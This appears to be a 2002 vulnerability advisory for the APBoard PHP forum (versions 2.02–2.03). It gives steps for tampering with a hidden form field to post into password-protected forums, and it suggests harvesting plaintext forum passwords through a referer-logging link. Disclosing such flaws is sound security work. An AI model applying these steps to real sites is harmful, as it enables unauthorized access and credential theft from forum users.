Product: Another PHP Program - APBoard

Versions: tested on 2.02, 2.03

Vulnerability: post threads to protected forums and possibility to hijack

forum-password

Date: November 12, 2002

Discovered by: ProXy <proxy (at) es-crew (dot) de [email concealed]>

Introduction:

Normal Users can submit threads to password protected forums

and possibly hijack the forum-password with some referer logging script

I have already informed APP about this vulnerability!

Exploit:

1, register an account on vuln board

2, go to any forum and klick on "Neues Thema"

3, open sourcecode of this site and scroll down to the following lines:

<---code--->

<INPUT TYPE="hidden" NAME="sess_id" VALUE="">

<INPUT TYPE="hidden" NAME="postit" VALUE="TRUE">

<INPUT TYPE="hidden" NAME="insertinto" VALUE="1">

<INPUT TYPE="hidden" NAME="BoardID" VALUE="1">

<INPUT CLASS="button" TYPE="submit" NAME="new_topic" VALUE="Thema posten">

<INPUT CLASS="button" TYPE="submit" NAME="preview_topic" VALUE="Vorschau">

<---code--->

4, edit the "insertinto" value of the forum where you want to submit the

new thread.

eg: <INPUT TYPE="hidden" NAME="insertinto" VALUE="12">

5, save file local

6, open file and write your text, then click "Thema posten" and the new

thread is posted to the protected forum

Another Bug in this Board is that if a user logs into a protected forum

the forum-password will be shown on the title-bar in plaintext

eg: http://www.your-domain.com/apboard/thread.php3?

id=999&passwort=1&thepasswordhere

you could create a referer-logging script and link this in the posted

thread of the protected forum.

if any user clicks on the link the plaintext password would therefore be

saved in the logs of the attacker

- ProXy

- http://www.es-crew.de

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